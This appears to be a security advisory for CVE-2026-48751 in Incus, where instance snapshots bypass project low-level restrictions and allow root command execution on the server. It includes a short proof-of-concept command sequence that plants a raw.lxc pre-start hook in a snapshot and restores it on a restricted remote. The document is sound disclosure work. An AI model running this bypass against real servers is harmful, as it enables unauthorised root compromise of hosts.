PT-2026-53012 · Go · Github.Com/Lxc/Incus/V7/Cmd/Incusd

Published

2026-06-26

·

Updated

2026-06-26

·

CVE-2026-48751

CVSS v3.1

9.9

Critical

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

  • Bypass of project restrictions.
  • Arbitrary command execution on the Incus server.

Fix

Missing Authorization

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Weakness Enumeration

CWE-862

Related Identifiers

CVE-2026-48751
GHSA-48Q5-W887-33WV

Affected Products

Github.Com/Lxc/Incus/V7/Cmd/Incusd